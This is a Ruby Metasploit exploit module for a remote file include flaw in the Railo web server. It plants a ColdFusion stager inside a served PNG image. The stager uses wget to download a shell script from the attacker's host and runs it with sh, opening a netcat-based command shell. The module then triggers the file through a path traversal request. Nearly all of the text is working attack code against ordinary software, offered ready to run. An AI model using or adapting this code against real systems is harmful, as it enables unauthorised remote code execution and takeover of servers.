143 lines
3.5 KiB
Ruby
143 lines
3.5 KiB
Ruby
|
##
|
||
|
# This module requires Metasploit: http//metasploit.com/download
|
||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||
|
##
|
||
|
|
||
|
require 'msf/core'
|
||
|
|
||
|
class Metasploit4 < Msf::Exploit::Remote
|
||
|
Rank = ExcellentRanking
|
||
|
|
||
|
include Msf::Exploit::Remote::HttpClient
|
||
|
include Msf::Exploit::Remote::HttpServer
|
||
|
|
||
|
def initialize(info = {})
|
||
|
super(update_info(info,
|
||
|
'Name' => 'Railo Remote File Include',
|
||
|
'Description' => '',
|
||
|
'License' => MSF_LICENSE,
|
||
|
'Author' => [
|
||
|
'dronesec', #Discovery/PoC
|
||
|
'bperry' #metasploited
|
||
|
],
|
||
|
'References' => [],
|
||
|
'Payload' => {
|
||
|
'Space' => 99999, #if there is disk space, I think we will fit
|
||
|
'BadChars' => "",
|
||
|
'DisableNops' => true,
|
||
|
'Compat' => {
|
||
|
'PayloadType' => 'cmd',
|
||
|
'RequiredCmd' => 'generic netcat'
|
||
|
}
|
||
|
},
|
||
|
'Platform' => %w{ unix },
|
||
|
'Targets' =>
|
||
|
[
|
||
|
[
|
||
|
'Automatic',
|
||
|
{
|
||
|
'Platform' => [ 'unix' ],
|
||
|
'Arch' => ARCH_CMD,
|
||
|
},
|
||
|
],
|
||
|
],
|
||
|
'DefaultTarget' => 0,
|
||
|
'DisclosureDate' => 'Aug 28 2014'))
|
||
|
end
|
||
|
|
||
|
def check
|
||
|
|
||
|
end
|
||
|
|
||
|
def exploit
|
||
|
|
||
|
if datastore['SRVHOST'] == '0.0.0.0'
|
||
|
fail_with('SRVHOST must be an IP address accessible from another computer')
|
||
|
end
|
||
|
|
||
|
url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s
|
||
|
|
||
|
@shell_name = Rex::Text.rand_text_alpha(15)
|
||
|
stager_name = Rex::Text.rand_text_alpha(15) + '.cfm'
|
||
|
|
||
|
start_service({'Uri' => {
|
||
|
'Proc' => Proc.new { |cli, req|
|
||
|
on_request_stager(cli, req)
|
||
|
},
|
||
|
'Path' => '/' + stager_name
|
||
|
}})
|
||
|
|
||
|
start_service({'Uri' => {
|
||
|
'Proc' => Proc.new { |cli, req|
|
||
|
on_request_shell(cli, req)
|
||
|
},
|
||
|
'Path' => '/' + @shell_name
|
||
|
}})
|
||
|
|
||
|
res = send_request_cgi({
|
||
|
'uri' => normalize_uri(target_uri.path + '/admin/thumbnail.cfm'),
|
||
|
'vars_get' => {
|
||
|
'img' => url + '/' + stager_name,
|
||
|
'height' => '5000',
|
||
|
'width' => '5000'
|
||
|
}
|
||
|
})
|
||
|
|
||
|
unless (res && res.code == 500)
|
||
|
fail_with('Server did not respond in an expected way.')
|
||
|
end
|
||
|
|
||
|
print_status('Waiting for first stage to download...')
|
||
|
|
||
|
i = 10
|
||
|
while !@staged && i > 0
|
||
|
select(nil, nil, nil, 1)
|
||
|
print_status("Waiting for #{i} more seconds...")
|
||
|
i = i - 1
|
||
|
end
|
||
|
|
||
|
@staged = false
|
||
|
|
||
|
if i == 0
|
||
|
fail_with('Server did not request the stager.')
|
||
|
end
|
||
|
|
||
|
hash = Rex::Text.md5("#{url + "/" + stager_name}-5000-5000") #5000 is width and height from GET
|
||
|
|
||
|
hash.upcase!
|
||
|
|
||
|
res = send_request_cgi({
|
||
|
'uri' => normalize_uri(target_uri.path, 'admin', 'img.cfm'),
|
||
|
'vars_get' => {
|
||
|
'attributes.src' => '../../../../temp/admin-ext-thumbnails/' + hash,
|
||
|
'thistag.executionmode' => 'start'
|
||
|
}
|
||
|
})
|
||
|
end
|
||
|
|
||
|
def on_request_shell(cli, request)
|
||
|
send_response(cli, payload.encoded, {})
|
||
|
handler(cli)
|
||
|
end
|
||
|
|
||
|
def on_request_stager(cli, request)
|
||
|
url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'].to_s + '/' + @shell_name
|
||
|
stager = '<cfexecute name="wget" arguments="'+url+'" timeout="99999"></cfexecute>'
|
||
|
stager << '<cfexecute name="sh" arguments="'+@shell_name+'" timeout="99999"></cfexecute>'
|
||
|
|
||
|
png = `curl http://weaknetlabs.com/images/metasploit-i-got-in.png`
|
||
|
|
||
|
stager.each_byte do |b|
|
||
|
png << b
|
||
|
end
|
||
|
|
||
|
png << 0x00
|
||
|
|
||
|
send_response(cli, png, { 'Content-Type' => 'image/png' })
|
||
|
|
||
|
@staged = true
|
||
|
|
||
|
handler(cli)
|
||
|
end
|
||
|
end
|